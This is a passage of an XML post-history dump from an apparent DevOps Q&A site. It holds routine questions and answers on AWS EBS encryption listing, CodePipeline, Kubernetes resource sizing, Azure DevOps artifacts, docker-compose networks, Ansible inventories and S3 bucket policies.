accessible via your ${AWS_IAM_PROFILE} role.&#xD;&#xA;    #&#xD;&#xA;    instances=`aws ec2 describe-instances --region us-east-1 \&#xD;&#xA;    --filters Name=instance-state-name,Values=running \&#xD;&#xA;    --query &quot;Reservations[*].Instances[0].InstanceId&quot; \&#xD;&#xA;    --output text \&#xD;&#xA;    --profile ${AWS_IAM_PROFILE}`&#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    # Iterate over the Instances list and present:&#xD;&#xA;    # echo &quot;${instance} $name Volumes: $count VolumeId: $volumeid Encrypted: $encrypted&quot;&#xD;&#xA;    # eg: i-111111111111111 Jenkins Volumes: 2 VolumeId: vol-111111111111111 Encrypted: false&#xD;&#xA;    #&#xD;&#xA;    echo &quot;#===============================================#&quot;&#xD;&#xA;    echo &quot;# EBS Volumes attached to running EC2 Instances #&quot;&#xD;&#xA;    echo &quot;#===============================================#&quot;&#xD;&#xA;    for instance in ${instances};&#xD;&#xA;    do&#xD;&#xA;      count=`aws ec2 describe-volumes --profile ${AWS_IAM_PROFILE} \&#xD;&#xA;      --filters Name=attachment.status,Values=${AWS_EBS_ATTACHMENT_STATUS} Name=attachment.instance-id,Values=${instance} \&#xD;&#xA;      --query &quot;Volumes[]&quot;  | jq  -r '. | length';`&#xD;&#xA;&#xD;&#xA;      name=`aws ec2 describe-tags --profile ${AWS_IAM_PROFILE} \&#xD;&#xA;      --filters Name=resource-id,Values=${instance} Name=key,Values=Name \&#xD;&#xA;      --query Tags[].Value | jq -r '.[0]'`&#xD;&#xA;&#xD;&#xA;      if [[ ${count} -gt 0 ]]; then&#xD;&#xA;        START=0&#xD;&#xA;        END=${count}&#xD;&#xA;        for ((i=START; i&lt;END; i++))&#xD;&#xA;        do&#xD;&#xA;           #echo &quot;i: $i&quot;&#xD;&#xA;           encrypted=`aws ec2 describe-volumes --profile ${AWS_IAM_PROFILE} \&#xD;&#xA;           --filters Name=attachment.status,Values=${AWS_EBS_ATTACHMENT_STATUS} Name=attachment.instance-id,Values=${instance} \&#xD;&#xA;           --query &quot;Volumes[]&quot;  | jq  -r &quot;.[$i].Encrypted&quot;;`&#xD;&#xA;&#xD;&#xA;           volumeid=`aws ec2 describe-volumes --profile ${AWS_IAM_PROFILE} \&#xD;&#xA;           --filters Name=attachment.status,Values=${AWS_EBS_ATTACHMENT_STATUS} Name=attachment.instance-id,Values=${instance} \&#xD;&#xA;           --query &quot;Volumes[]&quot;  | jq  -r &quot;.[$i].VolumeId&quot;;`&#xD;&#xA;&#xD;&#xA;           echo &quot;EC2: ${instance} $name Volumes: $count EbsVolumeId: $volumeid Encrypted: $encrypted &quot;&#xD;&#xA;        done&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;func_aws_ebs_list_encrypted(){&#xD;&#xA;    echo &quot;&quot;&#xD;&#xA;    echo &quot;#==============================================#&quot;&#xD;&#xA;    echo &quot;# All EBS Volumes                              #&quot;&#xD;&#xA;    echo &quot;#==============================================#&quot;&#xD;&#xA;    ebs_count=`aws ec2 describe-volumes --profile ${AWS_IAM_PROFILE} \&#xD;&#xA;    --query &quot;Volumes[]&quot;  | jq &quot;.[].VolumeId | length&quot; | wc -l`&#xD;&#xA;&#xD;&#xA;    echo &quot;N° AWS EBS VOLUMES: ${ebs_count}&quot;&#xD;&#xA;    echo &quot;&quot;&#xD;&#xA;&#xD;&#xA;    if [[ ${ebs_count} -gt 0 ]]; then&#xD;&#xA;    START=0&#xD;&#xA;    END=${ebs_count}&#xD;&#xA;    for ((i=START; i&lt;END; i++))&#xD;&#xA;    do&#xD;&#xA;       #echo &quot;i: $i&quot;&#xD;&#xA;        ebs_volumeid=`aws ec2 describe-volumes --profile ${AWS_IAM_PROFILE} \&#xD;&#xA;        --query &quot;Volumes[]&quot;  | jq -r &quot;.[$i].VolumeId&quot;`&#xD;&#xA;&#xD;&#xA;        ebs_encrypted=`aws ec2 describe-volumes --profile ${AWS_IAM_PROFILE} \&#xD;&#xA;        --query &quot;Volumes[]&quot;  | jq -r &quot;.[$i].Encrypted&quot;`&#xD;&#xA;&#xD;&#xA;       echo &quot;EbsVolumeId: ${ebs_volumeid} Encrypted: ${ebs_encrypted}&quot;&#xD;&#xA;    done&#xD;&#xA;    fi&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;#=========================================#&#xD;&#xA;# Main() - Function calls                 #&#xD;&#xA;#=========================================#&#xD;&#xA;func_aws_ec2_ebs_list_encrypted&#xD;&#xA;func_aws_ebs_list_encrypted&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="28652" PostHistoryTypeId="2" PostId="9593" RevisionGUID="2b326b31-8435-4e1d-b2f8-321fa3ef8b56" CreationDate="2019-10-27T23:37:46.400" UserId="17833" Text="I have created a very simple pipeline. I have a git repo in CodeCommit, and the pipeline, when triggered, simply copies the files to an existing S3 folder which is set up to serve a static website. Once I finished creating the pipeline, it started an execution. That execution is sitting on the first step, Source. Its been 50 minutes now and it's still stuck on the Source phase.&#xD;&#xA;&#xD;&#xA;Any thoughts as to why this might be happening? I don't see a way to cancel the execution. Are there logs somewhere I can look at to see if there were any errors?&#xD;&#xA;&#xD;&#xA;Thanks! " ContentLicense="CC BY-SA 4.0" />
  <row Id="28653" PostHistoryTypeId="1" PostId="9593" RevisionGUID="2b326b31-8435-4e1d-b2f8-321fa3ef8b56" CreationDate="2019-10-27T23:37:46.400" UserId="17833" Text="AWS CodePipeline frozen on Source" ContentLicense="CC BY-SA 4.0" />
  <row Id="28654" PostHistoryTypeId="3" PostId="9593" RevisionGUID="2b326b31-8435-4e1d-b2f8-321fa3ef8b56" CreationDate="2019-10-27T23:37:46.400" UserId="17833" Text="&lt;amazon-web-services&gt;&lt;aws-codepipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28656" PostHistoryTypeId="2" PostId="9594" RevisionGUID="87a4e778-611b-4f4f-820d-a664950628b8" CreationDate="2019-10-28T11:16:31.107" UserId="17348" Text="Oh well, the answer was simple: why do you need to use `volume` only for file transfer? Just `volume` the directory, containing problematic folder with cert in it." ContentLicense="CC BY-SA 4.0" />
  <row Id="28659" PostHistoryTypeId="10" PostId="9161" RevisionGUID="62558959-cd24-42be-983e-6058c4bb24ee" CreationDate="2019-10-28T11:55:11.003" UserId="40" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="28660" PostHistoryTypeId="10" PostId="9564" RevisionGUID="b903ab92-8897-4917-86e5-e37ea5c23287" CreationDate="2019-10-28T11:59:13.590" UserId="40" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="28661" PostHistoryTypeId="10" PostId="3490" RevisionGUID="28838da1-27a4-4954-86f9-82a277c02374" CreationDate="2019-10-28T12:00:06.450" UserId="40" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="28662" PostHistoryTypeId="2" PostId="9595" RevisionGUID="bf8aa541-64d8-4cab-90c1-b4973e37fa6f" CreationDate="2019-10-28T12:19:53.093" UserId="17846" Text="This is a question that's been bothering us quite a while. &#xD;&#xA;How can you determine how much to allocate per pod? &#xD;&#xA;What if I don't know the program, maybe it needs a lot of memory at peak times. &#xD;&#xA;&#xD;&#xA;What are some general strategies to finding out how much to allocate? cpu/memory&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28663" PostHistoryTypeId="1" PostId="9595" RevisionGUID="bf8aa541-64d8-4cab-90c1-b4973e37fa6f" CreationDate="2019-10-28T12:19:53.093" UserId="17846" Text="How much memory/cpu to allocate per pod?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28664" PostHistoryTypeId="3" PostId="9595" RevisionGUID="bf8aa541-64d8-4cab-90c1-b4973e37fa6f" CreationDate="2019-10-28T12:19:53.093" UserId="17846" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28665" PostHistoryTypeId="2" PostId="9596" RevisionGUID="8362ef1f-d0f4-4363-97ba-98cfc860837b" CreationDate="2019-10-28T12:50:33.870" UserId="707" Text="What type of user stories should Operations write down while being asked to be a stakeholder in a scrum project?&#xD;&#xA;&#xD;&#xA;Following this template:&#xD;&#xA;&#xD;&#xA;&quot;As Operations engineer, I want to.. in order to..&quot;?!&#xD;&#xA;&#xD;&#xA;My first idea is for example to come up with for example expectations to quality standards to deliverables, like &quot;as an operations engineer, I want to get deliverables accompanied with installation and validation automation scripts in order to enable fast and transparent deployments&quot;, but is there more to it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28666" PostHistoryTypeId="1" PostId="9596" RevisionGUID="8362ef1f-d0f4-4363-97ba-98cfc860837b" CreationDate="2019-10-28T12:50:33.870" UserId="707" Text="What are DevOps &amp; Ops user stories, or elements in scrum context?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28667" PostHistoryTypeId="3" PostId="9596" RevisionGUID="8362ef1f-d0f4-4363-97ba-98cfc860837b" CreationDate="2019-10-28T12:50:33.870" UserId="707" Text="&lt;architecture&gt;&lt;operations&gt;&lt;agile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28668" PostHistoryTypeId="2" PostId="9597" RevisionGUID="e9f5568f-7e98-49cc-8366-27719ab87a80" CreationDate="2019-10-28T14:17:10.823" UserId="15792" Text=" 1. Make sure that your stories are not centered on Operations.  Remember that DevOps is a culture not a role.  Is an &quot;Operations Engineer&quot; really the stakeholder for the story?&#xD;&#xA; 2. Think of the features and business value they provide.  As a **stakeholder** I want **feature** so that **business value**. If you are struggling to identify the business value why are you doing it?&#xD;&#xA; 3. Stories are supposed to be &quot;vertical slices&quot; as opposed to &quot;horizontal slices&quot;.  This means that stories should focus on an entire feature, not a layer.  This fits very well in a DevOps culture as your stories can cut across the traditional Development and Operations layers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You already have some interesting features such a the quality standards. Now you just need to identify who the end stakeholder is, what the business value of this would be, and ensure that you write the story in such a way that people with development, operations, and possibly QA skill sets can work on it.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28669" PostHistoryTypeId="5" PostId="9597" RevisionGUID="8cb8026c-8496-451f-a3ef-648b0f6312da" CreationDate="2019-10-28T14:34:17.380" UserId="15792" Comment="fixed typo" Text=" 1. Make sure that your stories are not centered on Operations.  Remember that DevOps is a culture not a role.  Is an &quot;Operations Engineer&quot; really the stakeholder for the story?&#xD;&#xA; 2. Think of the features and business value they provide.  As a **stakeholder** I want **feature** so that **business value**. If you are struggling to identify the business value why are you doing it?&#xD;&#xA; 3. Stories are supposed to be &quot;vertical slices&quot; as opposed to &quot;horizontal slices&quot;.  This means that stories should focus on an entire feature, not a layer.  This fits very well in a DevOps culture as your stories can cut across the traditional Development and Operations layers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You already have some interesting features such as the quality standards. Now you just need to identify who the end stakeholder is, what the business value of this would be, and ensure that you write the story in such a way that people with development, operations, and possibly QA skill sets can work on it.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28671" PostHistoryTypeId="2" PostId="9598" RevisionGUID="8c589835-350f-490d-90bd-b1e2bf682911" CreationDate="2019-10-28T15:29:08.943" UserId="17829" Text="I have an ASP.NET Core 3.0 application for which I have a full CI/CD setup in Azure DevOps. The Application is hosted on a Ubuntu 18.04 server machine.&#xD;&#xA;&#xD;&#xA;In the Build Pipeline, the solution is built and afterward published to the *ArtifactStagingDirectory*.&#xD;&#xA;&#xD;&#xA;    - task: VSBuild@1&#xD;&#xA;      inputs:&#xD;&#xA;        solution: '$(solution)'&#xD;&#xA;        msbuildArgs: '/p:DeployOnBuild=true /p:WebPublishMethod=Package /p:PackageAsSingleFile=true /p:SkipInvalidConfigurations=true /p:PackageLocation=&quot;$(build.artifactStagingDirectory)\MyProject.$(build.BuildNumber).$(Build.BuildId).zip&quot;'&#xD;&#xA;        platform: '$(buildPlatform)'&#xD;&#xA;        configuration: '$(buildConfiguration)' &#xD;&#xA;    &#xD;&#xA;    - task: PublishBuildArtifacts@1&#xD;&#xA;      inputs:&#xD;&#xA;        PathtoPublish: '$(Build.ArtifactStagingDirectory)'&#xD;&#xA;        ArtifactName: 'drop'&#xD;&#xA;        publishLocation: 'Container'&#xD;&#xA;&#xD;&#xA;This zip contains the complete folder structure of the server, which has IMHO nothing to do with the project. For me this is noise.&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;&gt; /drop/MyProject.20191028.2.49/Content/d_C/a/1/s/MyProject/obj/Release/netcoreapp3.0/PubTmp/Out&#xD;&#xA;&#xD;&#xA;Is it possible to reduce this folder structure to something like this or even less?&#xD;&#xA;&#xD;&#xA;&gt; /drop/MyProject.20191028.2.49/Release/netcoreapp3.0/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;At the moment, I am working around this in the release stage with a bash script.&#xD;&#xA;&#xD;&#xA;    drop=$(find /MyProject/Release/drop/MyProject.$(build.BuildNumber).$(Build.BuildId)/ -name &quot;Out&quot;)&#xD;&#xA;&#xD;&#xA;    ln -s $drop /MyProject/Release/Current&#xD;&#xA;	&#xD;&#xA;In general, I am fine with this, but a little cleaner solution would be nice :)&#xD;&#xA;&#xD;&#xA;*The application will be ported to .NET Core 3.1 as soon as it gets released. If this is relevant." ContentLicense="CC BY-SA 4.0" />
  <row Id="28672" PostHistoryTypeId="1" PostId="9598" RevisionGUID="8c589835-350f-490d-90bd-b1e2bf682911" CreationDate="2019-10-28T15:29:08.943" UserId="17829" Text="Azure DevOps Artifact.zip folder structure for .NET Core 3.0 application" ContentLicense="CC BY-SA 4.0" />
  <row Id="28673" PostHistoryTypeId="3" PostId="9598" RevisionGUID="8c589835-350f-490d-90bd-b1e2bf682911" CreationDate="2019-10-28T15:29:08.943" UserId="17829" Text="&lt;azure-devops&gt;&lt;linux&gt;&lt;artifacts&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28681" PostHistoryTypeId="50" PostId="6146" RevisionGUID="6659a92b-7b14-4c52-bfed-218c74411a1e" CreationDate="2019-10-28T20:02:00.457" UserId="-1" />
  <row Id="28682" PostHistoryTypeId="52" PostId="9596" RevisionGUID="989cca7f-16b1-46cf-bd06-8a605781c379" CreationDate="2019-10-28T20:51:46.467" />
  <row Id="28686" PostHistoryTypeId="50" PostId="6122" RevisionGUID="fb5c352b-7a36-4fe0-ba9e-eeb755050b50" CreationDate="2019-10-28T22:00:55.353" UserId="-1" />
  <row Id="28687" PostHistoryTypeId="50" PostId="6022" RevisionGUID="4cb1016f-674e-4d8b-8124-51d0d71501bd" CreationDate="2019-10-28T23:02:25.393" UserId="-1" />
  <row Id="28688" PostHistoryTypeId="50" PostId="6121" RevisionGUID="4a04feee-34e2-47fe-a3b4-202606855c27" CreationDate="2019-10-29T00:03:25.627" UserId="-1" />
  <row Id="28689" PostHistoryTypeId="2" PostId="9601" RevisionGUID="949de5c3-02f7-465e-8ef0-ea2b6507eeff" CreationDate="2019-10-29T04:04:46.820" UserId="5641" Text="I am trying to learn docker and understanding docker-compose&#xD;&#xA;&#xD;&#xA;As I was trying out the external network section:&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;     networks:&#xD;&#xA;      default:&#xD;&#xA;        external:&#xD;&#xA;          name: my-pre-existing-network&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;I understand that &#xD;&#xA;'my-pre-existing-network' needs to be created.&#xD;&#xA;&#xD;&#xA;Is it possible to create a new default external network from within the compose file itself?&#xD;&#xA;&#xD;&#xA;This is more from a learning/understanding perspective. Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="28690" PostHistoryTypeId="1" PostId="9601" RevisionGUID="949de5c3-02f7-465e-8ef0-ea2b6507eeff" CreationDate="2019-10-29T04:04:46.820" UserId="5641" Text="Adding default external network in docker-compose" ContentLicense="CC BY-SA 4.0" />
  <row Id="28691" PostHistoryTypeId="3" PostId="9601" RevisionGUID="949de5c3-02f7-465e-8ef0-ea2b6507eeff" CreationDate="2019-10-29T04:04:46.820" UserId="5641" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28693" PostHistoryTypeId="5" PostId="9292" RevisionGUID="82589376-9385-4a98-9eda-cbf84281b8bf" CreationDate="2019-10-29T08:51:22.673" UserId="13111" Comment="Fix some typos and missing words" Text="What your are describing can typically be addressed with a correct inventory design.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[zone1]&#xD;&#xA;serverA&#xD;&#xA;serverB&#xD;&#xA;serverC&#xD;&#xA;&#xD;&#xA;[zone2]&#xD;&#xA;server1&#xD;&#xA;server2&#xD;&#xA;server3&#xD;&#xA;&#xD;&#xA;[zone3]&#xD;&#xA;serverX&#xD;&#xA;serverY&#xD;&#xA;serverZ&#xD;&#xA;&#xD;&#xA;[jenkins_master]&#xD;&#xA;serverA&#xD;&#xA;server1&#xD;&#xA;serverX&#xD;&#xA;&#xD;&#xA;[jenkins_slave]&#xD;&#xA;serverB&#xD;&#xA;serverC&#xD;&#xA;server2&#xD;&#xA;server3&#xD;&#xA;serverY&#xD;&#xA;serverZ&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;From there you can easily:&#xD;&#xA;&#xD;&#xA;- create [plays](https://docs.ansible.com/ansible/latest/user_guide/playbooks.html) that will target a group or a [pattern](https://docs.ansible.com/ansible/latest/user_guide/intro_patterns.html) and that you can limit to an other group or pattern at runtime, e.g. target `jenkins_master` and run the playbook on all of them or limit it to `zone1`.&#xD;&#xA;- create inventory vars for your hosts and groups so that e.g. servers in `zone1` will know what is the uri of the master in that zone.&#xD;&#xA;&#xD;&#xA;This is really a very super-quick overlook. I suggest you read in depth [working with inventory](https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html) to get a better understanding of all the inventory concepts and pay attention to the part concerning the [organization of variables in the inventory for groups and hosts](https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html#organizing-host-and-group-variables)" ContentLicense="CC BY-SA 4.0" />
  <row Id="28695" PostHistoryTypeId="5" PostId="9292" RevisionGUID="7c551825-7c82-48e3-a126-525da9e895a3" CreationDate="2019-10-29T10:23:49.677" UserId="13111" Comment="deleted 12 characters in body" Text="What your are describing can typically be addressed with a correct inventory design.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[zone1]&#xD;&#xA;serverA&#xD;&#xA;serverB&#xD;&#xA;serverC&#xD;&#xA;&#xD;&#xA;[zone2]&#xD;&#xA;server1&#xD;&#xA;server2&#xD;&#xA;server3&#xD;&#xA;&#xD;&#xA;[zone3]&#xD;&#xA;serverX&#xD;&#xA;serverY&#xD;&#xA;serverZ&#xD;&#xA;&#xD;&#xA;[jenkins_master]&#xD;&#xA;serverA&#xD;&#xA;server1&#xD;&#xA;serverX&#xD;&#xA;&#xD;&#xA;[jenkins_slave]&#xD;&#xA;serverB&#xD;&#xA;serverC&#xD;&#xA;server2&#xD;&#xA;server3&#xD;&#xA;serverY&#xD;&#xA;serverZ&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;From there you can easily:&#xD;&#xA;&#xD;&#xA;- create [plays](https://docs.ansible.com/ansible/latest/user_guide/playbooks.html) that will target a group or a [pattern](https://docs.ansible.com/ansible/latest/user_guide/intro_patterns.html) and that you can limit to an other group or pattern at runtime, e.g. target `jenkins_master` and run the playbook on all of them or limit it to `zone1`.&#xD;&#xA;- create inventory vars for your hosts and groups so that e.g. servers in `zone1` will know what is the uri of the master in that zone.&#xD;&#xA;&#xD;&#xA;This is a super-quick overlook. I suggest you read in depth [working with inventory](https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html) to get a better understanding of all the inventory concepts and pay attention to the part concerning the [organization of variables in the inventory for groups and hosts](https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html#organizing-host-and-group-variables)" ContentLicense="CC BY-SA 4.0" />
  <row Id="28696" PostHistoryTypeId="2" PostId="9604" RevisionGUID="733c17dc-a8bc-4e18-b8e5-d8da4578abd1" CreationDate="2019-10-29T11:15:17.083" UserId="354" Text="I find it strange that nobody mentioned the [Configuration as Code](https://github.com/jenkinsci/configuration-as-code-plugin) plugin. Our solution to this problem is to maintain a base Docker image for jenkins, provisioned with two config files:&#xD;&#xA;&#xD;&#xA;- jenkins.yml&#xD;&#xA;- plugins.txt&#xD;&#xA;&#xD;&#xA;The plugins are installed by the `install-plugins.sh` script provided by the base Jenkins image:&#xD;&#xA;&#xD;&#xA;```Dockerfile&#xD;&#xA;COPY casc_configs/plugins.txt /usr/share/jenkins/ref/plugins.txt&#xD;&#xA;COPY casc_configs/jenkins.yml /usr/share/jenkins/ref/jenkins.yml&#xD;&#xA;RUN /usr/local/bin/install-plugins.sh &lt; /usr/share/jenkins/ref/plugins.txt&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and Jenkins itself is configured using the `jenkins.yml`.&#xD;&#xA;&#xD;&#xA;The plugin file is generated from a template:&#xD;&#xA;&#xD;&#xA;```jinja2&#xD;&#xA;{% for plugin in jenkins.plugins %}&#xD;&#xA;{{ plugin.name }}:{{ plugin.version }}&#xD;&#xA;{%endfor%}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;where the variable `jenkins.plugins` is a big list of dicts:&#xD;&#xA;```&#xD;&#xA;jenkins:&#xD;&#xA;  plugins:&#xD;&#xA;    - name: configuration-as-code&#xD;&#xA;      version: 1.14&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Doing things this way makes it possible to create and destroy fully configured jenkins instances on the fly. If you want, you can keep the `jenkins.yml` and `plugins.txt` on a mount that Jenkins can read when it starts.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28698" PostHistoryTypeId="2" PostId="9605" RevisionGUID="537dad70-2e25-4e92-b472-fd30f93d5368" CreationDate="2019-10-29T12:14:13.373" UserId="17863" Text="Is there any possibility for getting a report on unused user accounts using cloudwatch ?&#xD;&#xA;Requirement : Need to get a report on the accounts which is unused for more than 30 days." ContentLicense="CC BY-SA 4.0" />
  <row Id="28699" PostHistoryTypeId="1" PostId="9605" RevisionGUID="537dad70-2e25-4e92-b472-fd30f93d5368" CreationDate="2019-10-29T12:14:13.373" UserId="17863" Text="AWS Cloudwatch for unused accounts" ContentLicense="CC BY-SA 4.0" />
  <row Id="28700" PostHistoryTypeId="3" PostId="9605" RevisionGUID="537dad70-2e25-4e92-b472-fd30f93d5368" CreationDate="2019-10-29T12:14:13.373" UserId="17863" Text="&lt;amazon-cloudwatch&gt;&lt;aws-iam&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28701" PostHistoryTypeId="2" PostId="9606" RevisionGUID="4fea9a47-d5ed-4c2e-803f-e5d83a92a90c" CreationDate="2019-10-29T14:52:33.260" UserId="17868" Text="Need to check connectivity of hosts on two ports 43 and 883. i can manually login and check connectivity by&#xD;&#xA;nc -v `hostname` 83&#xD;&#xA;nc -v `hostname_1` 83&#xD;&#xA;is there any ansible script that goes through all the servers and saves the output of connectable hosts in one file and not connectable in another file" ContentLicense="CC BY-SA 4.0" />
  <row Id="28702" PostHistoryTypeId="1" PostId="9606" RevisionGUID="4fea9a47-d5ed-4c2e-803f-e5d83a92a90c" CreationDate="2019-10-29T14:52:33.260" UserId="17868" Text="Check connectivity of 5000 + servers from ansible and get list of hosts which are connectable and which are not" ContentLicense="CC BY-SA 4.0" />
  <row Id="28703" PostHistoryTypeId="3" PostId="9606" RevisionGUID="4fea9a47-d5ed-4c2e-803f-e5d83a92a90c" CreationDate="2019-10-29T14:52:33.260" UserId="17868" Text="&lt;ansible&gt;&lt;automation&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28707" PostHistoryTypeId="5" PostId="9606" RevisionGUID="3b81a6a5-4efb-4f13-8c48-9902f08121b5" CreationDate="2019-10-29T15:57:40.423" UserId="17868" Comment="deleted 8 characters in body" Text="Need to check connectivity of hosts on two ports 43. i can manually login and check connectivity by&#xD;&#xA;nc -v `hostname` 43&#xD;&#xA;nc -v `hostname_1` 43&#xD;&#xA;is there any ansible script that goes through all the servers and saves the output of connectable hosts in one file and not connectable in another file" ContentLicense="CC BY-SA 4.0" />
  <row Id="28708" PostHistoryTypeId="50" PostId="6430" RevisionGUID="694575bc-d993-473f-ac70-cd290a7d39a1" CreationDate="2019-10-29T16:01:25.153" UserId="-1" />
  <row Id="28709" PostHistoryTypeId="50" PostId="8989" RevisionGUID="dfc9e343-40bc-4672-82bd-ceadcb928278" CreationDate="2019-10-29T17:03:15.530" UserId="-1" />
  <row Id="28713" PostHistoryTypeId="10" PostId="9555" RevisionGUID="273975d5-bb8e-4f98-aced-3ffeeb4fa143" CreationDate="2019-10-29T17:24:02.993" UserId="40" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:739,&quot;DisplayName&quot;:&quot;chicks&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="28714" PostHistoryTypeId="5" PostId="9606" RevisionGUID="223f6e47-99f6-4a98-8db1-ba5b13641c64" CreationDate="2019-10-29T17:29:20.003" UserId="40" Comment="added 11 characters in body" Text="I need to check connectivity of hosts on port 43. I can manually login and check connectivity by:&#xD;&#xA;&#xD;&#xA;    nc -v `hostname` 43&#xD;&#xA;    nc -v `hostname_1` 43&#xD;&#xA;&#xD;&#xA;Is there any ansible script that goes through all the servers and saves the output of connectable hosts in one file and not connectable in another file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28715" PostHistoryTypeId="2" PostId="9608" RevisionGUID="943ddca6-e956-462b-a309-0eba399563d8" CreationDate="2019-10-29T19:42:48.713" UserId="17043" Text="Got the solution :&#xD;&#xA;&#xD;&#xA;in host/inventory file which is /etc/ansible/hosts&#xD;&#xA;[host]&#xD;&#xA;192.XXX.XXX.XXX ansible_user=ubuntu1(target hostname) ansible_become_password=XXXXXXXX(target pwd)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and in .yml part&#xD;&#xA;&#xD;&#xA;we have to mentioned &#xD;&#xA;- hosts: host&#xD;&#xA;  become: yes&#xD;&#xA;  tasks:&#xD;&#xA;    -name : Update XYZ app&#xD;&#xA;     script: update.py (in have already written a python script for my process so i have giving same script here in .yml)" ContentLicense="CC BY-SA 4.0" />
  <row Id="28716" PostHistoryTypeId="50" PostId="8995" RevisionGUID="ce02a0dc-0dff-49a7-af38-1ca6dd3ea40a" CreationDate="2019-10-29T21:01:40.167" UserId="-1" />
  <row Id="28717" PostHistoryTypeId="5" PostId="9352" RevisionGUID="cfc7e254-8f07-4bb9-b194-ecbbb4163cab" CreationDate="2019-10-29T21:40:27.803" UserId="3599" Comment="added 88 characters in body" Text="https://circleci.com/docs/2.0/env-vars/#setting-an-environment-variable-in-a-project&#xD;&#xA;&#xD;&#xA;Seems &quot;contexts&quot; can be used but must then also be set to &quot;reference&quot; the context in the build yaml config file.&#xD;&#xA;&#xD;&#xA;Instead to set a environment variable for a project:&#xD;&#xA;Jobs &gt; Cog / gear icon of a project &gt; Build settings &gt; Environment variable" ContentLicense="CC BY-SA 4.0" />
  <row Id="28718" PostHistoryTypeId="2" PostId="9609" RevisionGUID="2d1a602e-61f3-4321-886c-18b0a392b995" CreationDate="2019-10-29T22:12:44.760" UserId="17878" Text="gaaack!#$%&#xD;&#xA;&#xD;&#xA;This is the 12th iteration of a bucket policy for Amazon S3. Either it is a JSON syntax error or a Policy error. This version is at &#xD;&#xA;**Error&#xD;&#xA;Invalid bucket policy syntax.**&#xD;&#xA;This is the policy I am trying and failing with:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;    	&quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;    	&quot;Statement&quot;: [{&#xD;&#xA;    		&quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;    		&quot;Action&quot;: [&#xD;&#xA;    			&quot;s3:ListBucket&quot;,&#xD;&#xA;    			&quot;s3:GetBucketLocation&quot;,&#xD;&#xA;    			&quot;s3:ListBucketMultipartUploads&quot;&#xD;&#xA;    		],&#xD;&#xA;    		&quot;Resource&quot;: &quot;arn:aws:s3:::&lt;my bucket&gt;&quot;,&#xD;&#xA;    		&quot;Principal&quot;: {&#xD;&#xA;    			&quot;AWS&quot;: [&#xD;&#xA;    				&quot;arn:aws:iam::560184616970:user/&lt;my username&gt;&quot;&#xD;&#xA;    			]&#xD;&#xA;    		},&#xD;&#xA;    		&quot;Statement&quot;: [{&#xD;&#xA;    			&quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;    			&quot;Action&quot;: [&#xD;&#xA;    				&quot;s3:AbortMultipartUpload&quot;,&#xD;&#xA;    				&quot;s3:DeleteObject&quot;,&#xD;&#xA;    				&quot;s3:DeleteObjectVersion&quot;,&#xD;&#xA;    				